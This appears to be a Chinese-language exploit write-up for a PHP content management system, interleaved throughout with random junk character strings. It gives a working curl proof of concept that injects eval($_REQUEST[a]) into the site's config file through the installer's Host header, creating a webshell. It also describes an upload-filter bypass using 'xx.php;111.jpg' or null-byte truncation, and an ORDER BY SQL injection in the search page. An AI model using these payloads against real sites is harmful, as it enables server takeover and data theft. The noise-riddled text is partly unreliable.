注入:
1 ?- K4 z# w8 Q6 q1 R3 x! ]' f/ J+ C
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
- r& \& d- }3 k - h; T- f m. M* P& ^( l: n) [8 b
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件/ x+ z- \9 ^! v, y
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
' r* ~: K* ^! J% G I; d
0 \! c1 Z7 N" m& F$ l/ r3 W7 i虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响: o$ A8 r5 E* b) X2 }/ h7 j7 E9 b) ~: D
; p! D+ H7 C Y. A1 t
分析:3 C! v+ v* ]) @ k X
% J; B- q( ^2 A, ]" S" [9 o1 ]% g u
! y( H+ O3 X2 b5 C, a/ t7 ]% p# j' L
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤' i7 G* n5 _: T% f1 ~
' U0 p$ W6 ]5 Y7 {/ [) \2 h
$filestr = fread(fopen($SysConfigFile, 'r'),30000);4 a1 ^" y( p- t; m% V. F1 p
$filestr=str_replace(" ","",$filestr);
, L8 O7 j% ^$ o( v4 X Y $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);& |! {3 f. a) i2 d% C. h, Q/ k
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
- _+ H: H& |( O8 M $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ f6 p' y, ?3 J3 X" K7 t $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);4 Z) b, x! t) G: \, [) K
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);/ E; F. {& \' J! R1 ^
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
" g$ u3 g: J% r0 h) x. e4 u $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);5 f; o% {3 l3 |: w4 l
2 h9 ?, b5 @2 e1 S" H
fwrite(fopen($ConFile,"w"),$filestr,30000);
J, x' m2 ?/ D9 l- W8 c$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; w& g9 R; ~; Q* B7 g3 q% W
! I2 @0 `9 L2 d: L' b$ h% s' Ppoc:
+ {$ s( B) q- Y6 Q ( z% E4 N; b% s; G# E5 w
?4 F8 V0 P# o+ o0 I/ `; s
12 d& t2 O/ }7 C" g7 c" C
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#" r. p# ?% Q% I( j6 X2 a
shell地址: /config.inc.php5 X! o' ?+ C- P2 V1 @6 e
跟之前的 phpcms一样 需要远程数据库
) e2 ]% K' d- L" D8 v0 W1 t ( t. e" ]6 `- N
——————————————————–
7 d8 J8 s. k) k上传漏洞(需要进后台):) e4 @ W0 I9 I8 a8 K, F
漏洞文件: /kedit/upload_cgi/upload.php9 ?$ s& Q& n: V3 g& ^% Q
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
7 }7 Z$ }7 ?" f7 i& Q , [: e. @: {5 {
9 a$ q3 `( @# B, [) |5 x<?php
S+ h0 j7 s0 w6 W% @0 n define("ROOTPATH", "../../");% F$ I4 } ]1 P0 \3 ?) S/ L
include(ROOTPATH."includes/admin.inc.php");' ^% c) D+ e$ X! T7 k
NeedAuth(0);1 w7 N& u8 U5 F
0 n. E. t N. d2 b $dt=date("Ymd",time());
0 h9 x& Q! I9 K) H0 P% T6 C \ if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){" z0 l7 x& C; p0 u
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);1 t1 G8 j4 N J6 Z! d M8 Y& e8 w( i2 {
}
, K5 ?6 s8 d, l! ]5 j9 c 3 V |+ ^2 [5 l5 Y* O% W
//文件保存目录路径* X8 T! u5 L+ [' C
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
! z. X; b0 h* q$ e echo $save_path;7 ]5 G7 s; C/ q: g, N, k, V
//文件保存目录URL( ]$ U T, A0 w9 W f. e8 b( s
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
! [* t2 a8 E! _$ L7 N! @, \8 G9 d. }: G . ]6 `9 n$ g, l8 Z8 p( c
//定义允许上传的文件扩展名
, |! \4 u8 V3 }* z9 V6 W" @ $ext_arr = array('gif','jpg','png','bmp'); //限制后缀* q# I8 Z& E0 \( C: @
" k' P6 R8 W) D4 A: u6 R/ H
//最大文件大小5 D' G* V% u5 ]7 S1 d
$max_size = 1000000;
U S) g5 r3 O
- r' N' W" `$ d/ u" C9 | //更改目录权限
3 }% a; V* P1 k @mkdir($save_path, 0777);) e! w0 }- Y: G9 x- H2 K
1 Y) y: P+ d2 c" g //文件的全部路径
$ u, t( z8 H2 i) d7 E" x; K2 p) Z2 G $file_path = $save_path.$_POST['fileName']; //保存文件名, k) i4 `. E* w- B. B
3 K/ _! M6 ]: B! i: L9 w, T //文件URL
) s; J6 `' [6 a. m: D: Z$ K $file_url = $save_url.$_POST['fileName'];6 l4 l$ C: g9 H
//有上传文件时
1 F& T3 k) |3 k1 E& f if (empty($_FILES) === false) {! }" @! ?- r- W: Q
1 o7 O @; M, n, G6 o/ s
//原文件名& F0 i& v( D6 K0 }4 k- o
$file_name = $_FILES['fileData']['name'];
! T$ ]$ ^# o, {/ i2 G; j //服务器上临时文件名
# j! A( X- h* W $tmp_name = $_FILES['fileData']['tmp_name'];; |' X; z1 @0 @( W* |3 z
//文件大小* O* R2 M* J4 x$ z
$file_size = $_FILES['fileData']['size'];
' @' m+ x: F G: q! s; g- Q: W //检查目录
. z5 h7 U& }2 t- v: }6 H! I if (@is_dir($save_path) === false) {
4 b, k- Q' R" A X0 r- e! L, r alert("上传目录不存在。");" l; h) b+ n8 { L+ Q
}& P- m% f/ B! K
//检查目录写权限" M% r0 l! g. w+ q- P% F
if (@is_writable($save_path) === false) {
4 Q$ q' u# F2 k- F) k0 f t# R alert("上传目录没有写权限。");+ p2 z! t( C1 x8 p# [" Y+ f
}
) ]8 p2 \7 W( s" m //检查是否已上传
7 l# Q; t0 i" J/ K7 ^! z if (@is_uploaded_file($tmp_name) === false) {
0 D2 E7 f7 p9 ]3 u" F alert("临时文件可能不是上传文件。");( n8 w9 }% K/ m" K
}& x* g1 o) S6 q4 V# C0 r0 A4 e1 r0 G6 R
//检查文件大小' N7 `; `7 Z. h0 Y" B' w
if ($file_size > $max_size) {% j( K0 w) O: a6 h" Y
alert("上传文件大小超过限制。");
8 P7 [+ L5 L0 a: Y% W% M9 o4 | }
6 f( @3 @9 v( G" w //获得文件扩展名
: l7 H" T+ ^- o; E& T: q/ ?' O& z1 y $temp_arr = explode(".", $_POST['fileName']);# I$ W9 [1 K! y7 C/ v
$file_ext = array_pop($temp_arr);
& |+ o0 O. @- s4 {* ] $file_ext = trim($file_ext);; J: D# I# L. v! |
$file_ext = strtolower($file_ext);
" N# x0 \# W) c6 ^ + z4 n1 \' @ U, U% s) K! x. g4 e
//检查扩展名 8 O. n8 L& K6 ]* M, v s% D" S3 J
if (in_array($file_ext, $ext_arr) === false) { 8 E) z( y9 O' W: d9 i8 K' u, X
alert("上传文件扩展名是不允许的扩展名。");
5 o4 Z8 x( `6 v( O) z j }
% D$ C7 L2 Z, k/ n5 z: B7 E2 m 6 |: D! D/ e8 p. V2 x
//移动文件 ! {' _. W2 n- o5 i$ B1 o0 f
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^. A8 \# J0 s1 w: `
if (move_uploaded_file($tmp_name, $file_path) === false) {# w6 C0 ~8 L# `4 t% q2 w% i
alert("上传文件失败。");
& r: i: |" ^- r% N* _7 \* C0 f- u }: |2 V( x& x( z. x/ Q
2 L' h: ?5 Y3 j- ^
@chmod($file_path,0666);
2 N; k& M6 w$ d) X$ b 3 O3 Q: K; S, }9 K8 Z, v7 G, H5 p
?>9 @" v1 ]1 a7 X" h8 l1 J. b3 @) p
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2273 i9 T( S' w; L+ E
; e3 E4 `9 X- f" j/ S) }apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
6 J* [: e$ @8 e6 H6 J$ @- [0 r # ~" k. W( g# u
——————————————————- o7 W# G7 Y+ F5 g) M9 g# v4 M* p
注入漏洞:7 B7 O+ c: B, b( _
漏洞文件:search/module/search.php
8 n2 Z* z. p( w# P4 D/search/index.php?key=1&myord=1 [sqlinjection]3 g- |* G+ E8 F8 Q8 j4 d+ A% ~
% z: I( H% V; U# x4 P 8 {7 q4 D- q& Q0 k" t# p
<?php
4 ?& _. V5 w- e d* W% c( w // ... 省略 n 行...7 j3 ]9 j7 j+ v. {, ?
//第18行:
8 I8 R7 A7 _& M" U* D( P$ a; b# }1 T $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
" d1 O* W8 \* `4 L) F $page=htmlspecialchars($_GET["page"]);/ S5 e/ S z) e
$myord=htmlspecialchars($_GET["myord"]);/ j; Y6 n f# v# s# F7 y" G$ N
2 s1 ]/ o8 _% o ?9 \ // ... 省略 n 行...5 o! P4 J% m+ T. i" B' D+ O
$key,$myord 两个参数带入查询
. h2 q9 B; z5 f. N1 b //第47行 $key:
4 i @2 ]& E; P! X6 Q8 c
, H) q u7 q: n( _8 o $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..* P* z( H- V% ], {7 T
8 b9 i$ J8 D% Q' B2 V) x- J
//第197行 $myord
" [7 |% h: d9 _2 j' M $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
% U4 d) ?7 C5 N$ p " j5 h, I0 V! Y1 v) g
?>
3 M0 \& f- N+ S# A* V* i; Q |